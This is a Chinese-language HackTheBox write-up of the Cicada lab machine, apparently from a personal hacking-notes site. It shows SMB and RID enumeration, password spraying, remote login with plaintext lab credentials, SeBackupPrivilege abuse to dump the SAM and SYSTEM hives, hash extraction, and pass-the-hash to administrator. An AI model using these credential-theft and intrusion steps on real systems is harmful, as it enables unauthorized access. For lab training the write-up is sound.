> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md).

# Cicada HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Cicada>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举（RID 暴力破解）
* 信息泄露（用户描述）（netexec）
* 权限提升（SeBackupPrivilege）
* SAM 提取（pypykatz）
* Pass-the-Hash（EvilWinRM）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/a12e8270b789922269f2e48d141a9f632d582868" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/a3f4d5e445be781590cd925c213e424802e06b79" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts
```

<figure><img src="/files/51cef35cfdd07a453cf42e2f2068f6f947872616" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板中（53.88,135,139.389,445,464,593,636,3268,3269,5985,5169）

<figure><img src="/files/690d56b67a4e63d6f52647c56cd1b0ba04e34761" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted
```

<figure><img src="/files/6f04849912b9f54ef73f9953e8c4822f4c087c6c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/955efbe8737932fa52a65229f58b8e72649eb0d2" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/6e42473106dbedf3e39161d174fe5d7088f74744" alt=""><figcaption></figcaption></figure>

### 445 端口 - SMB

**使用 smbmap 列出 SMB**

要使用空会话列出共享资源：

```bash
smbmap -H 10.10.11.35 -u 'null'
```

<figure><img src="/files/9e058dfa57fd46908bc353240b610e69f9f44f68" alt=""><figcaption></figcaption></figure>

该 **HR** 文件夹包含一个有趣的文本文件。我们查看其内容：

```bash
smbmap -H 10.10.11.35 -u 'null' -r HR
```

<figure><img src="/files/3c0e8e5a20e419126948d3c451ad22537ca45000" alt=""><figcaption></figcaption></figure>

**下载文件**

我们访问共享并下载该文件：

```bash
smbclient //10.10.11.35/HR -N
get "Notice from HR.txt"
```

<figure><img src="/files/f1640f48ada7c96f137bad484dcef1d21ff01fe4" alt=""><figcaption></figcaption></figure>

该文件包含一个密码

* 密码： `Cicada$M6Corpb*@Lp#nZp!8`

<figure><img src="/files/d2b0d7ee3fea5dec249fb2ca0fb8077437c54b68" alt=""><figcaption></figcaption></figure>

## RID 暴力破解列表

#### 为了识别域中的用户，我们发起一次 RID 暴力破解攻击：

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> 该 `--rid-brute` 参数用于执行一个 /*/* 暴力破解攻击/*/* 在 **RID（相关标识符）** Windows 域中的用户。RID 是 Windows 系统中用户唯一标识符的一部分，通常用于识别用户账户和组

<figure><img src="/files/1d5b3c14bf0b4da298e9ea7be1e19f4d166657d2" alt=""><figcaption></figcaption></figure>

以下是找到的用户列表：

```
Administrator
来宾
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### 用户验证

我们对所有用户测试找到的密码：

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

用户 **michael.wrightson** 使用此密码。

<figure><img src="/files/8e529798be5ad72e4a6ba7fa5e13fdb25a5577c0" alt=""><figcaption></figcaption></figure>

### 用户 Michael：

### 使用 netexec 枚举

我们使用 **michael.wrightson** 用于进一步探索的凭据：

```bash
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

<figure><img src="/files/464a078b3a8ddb0ce224118606112a40b7ffa787" alt=""><figcaption></figcaption></figure>

这揭示了用户的明文密码 **david.orelious**:

* 用户名： `david.orelious`
* 密码： `aRt$Lp#7t*VQ!3`

/*/使用 // 中的凭据进行验证和 SMB 枚举* **david.orelious**

### 转向用户 David

我们使用 CrackMapExec 验证 david.orelious 的 ID：

```bash
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

<figure><img src="/files/442df12db38d74da61bad4861cbec8494510260f" alt=""><figcaption></figcaption></figure>

然后我们使用 smbmap 探索目标上可访问的 SMB 共享：

```bash
smbmap -H 10.10.11.35 -u david.orelious
```

<figure><img src="/files/ffda48a729b0932e8cab4f635fc23868263f94dc" alt=""><figcaption></figcaption></figure>

然后我们使用 smbclient 连接到 DEV 共享：

```bash
smbclient //10.10.11.35/DEV -U david.orelious
```

在这个共享中，我们找到一个名为 backup/ script.ps1 的脚本。

<figure><img src="/files/0352df5f3280aa656f441a28e60a18ae1602be71" alt=""><figcaption></figcaption></figure>

### 转向用户 Emily

我们使用 get 命令下载 backup/ script.ps1 脚本，并发现用户 ID emily.oscars

* 用户名：emily.oscars
* 密码：Q!3\@Lp#M6b/\*7t/\*Vt

<figure><img src="/files/f5f4bbe787780c319dfd9417056d06c94b0d1206" alt=""><figcaption></figcaption></figure>

我们使用 CrackMapExec 验证这些凭据：

```bash
crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

然后我们使用 Evil-WinRM 连接到该机器：

```bash
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

<figure><img src="/files/ebcb75b01319b1b7776d3c91c3051da487d76422" alt=""><figcaption></figcaption></figure>

### user.txt 旗标

我们从 user.txt 文件中获取 flag。

<figure><img src="/files/930a93bb36ac95b3bef54a311a6f36642bfaa1cc" alt=""><figcaption></figcaption></figure>

## 权限提升

### whoami /priv - SeBackupPrivilege

{% embed url="<https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf>" %}

**权限检查**

首先，让我们检查当前用户的权限。运行以下命令以检查用户是否具有 `SeBackupPrivilege` 权限：

```bash
whoami /priv
```

<figure><img src="/files/4387245c1eee953a8d6392084cc6235f815b58a1" alt=""><figcaption></figcaption></figure>

**下载必要的 DLL 文件**

要滥用这些权限，请将 DLL 文件下载到受害机器上。它们可在 [这里](https://github.com/giuliano108/SeBackupPrivilege).

1. **SeBackupPrivilegeCmdLets.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll>" %}

2. **SeBackupPrivilegeUtils.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll>" %}

使用以下命令将这些文件上传到受害者的机器上

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/7f3865450c3f4ee1fe2cc8ee0a048cab4a33798d" alt=""><figcaption></figcaption></figure>

**加载 DLL 模块**

下载完 DLL 文件后，使用以下命令将它们加载到 PowerShell 会话中：

```powershell
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

**备份 SAM 和 SYSTEM 文件**

现在我们将保存 `SAM` 和 `SYSTEM` 包含用户识别信息的文件。使用以下命令将它们保存：

```powershell
reg save hklm/sam sam
reg save hklm/system system
```

<figure><img src="/files/d4c02e959d258e929c769908714683c26369ee09" alt=""><figcaption></figcaption></figure>

**下载 SAM 和 SYSTEM 文件**

保存文件后，你可以将它们下载到你的虚拟机（VM）中进行扫描：

```powershell
download sam
download system
```

<figure><img src="/files/14feadb0f4b310d8fd2230f8ab0c372c85065c33" alt=""><figcaption></figcaption></figure>

### **从 SAM 文件中提取哈希**

使用 `samdump2` 用于从中提取哈希 `SAM` 和 `SYSTEM` 文件：

```bash
samdump2 system sam
```

<figure><img src="/files/b50bb2122320278920f1a15763ed1ee0df9adf46" alt=""><figcaption></figcaption></figure>

如果此命令不起作用，你可以尝试 `pypykatz` 直接提取哈希：

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/6a0fee27ea2e1fa6a707657a985f8bf810ad8425" alt=""><figcaption></figcaption></figure>

这应该会提供一个有效的哈希，例如：

* 哈希： `2b87e7c93a3e8a0ea4a581937016f341`

### **使用 Evil-WinRM 进行哈希传递**

现在你已经有了哈希，可以使用它执行“Pass-the-Hash”并使用以下方式连接到目标机器 `evil-winrm`:

```bash
evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/f66d1d1563ebcf17399ed1d4dfb3d262050c8d71" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/0deca98eeed8548bde70f8925499b95432c15531" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/90b9117c0d481ba067d51e61e515380e0b4c84e8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
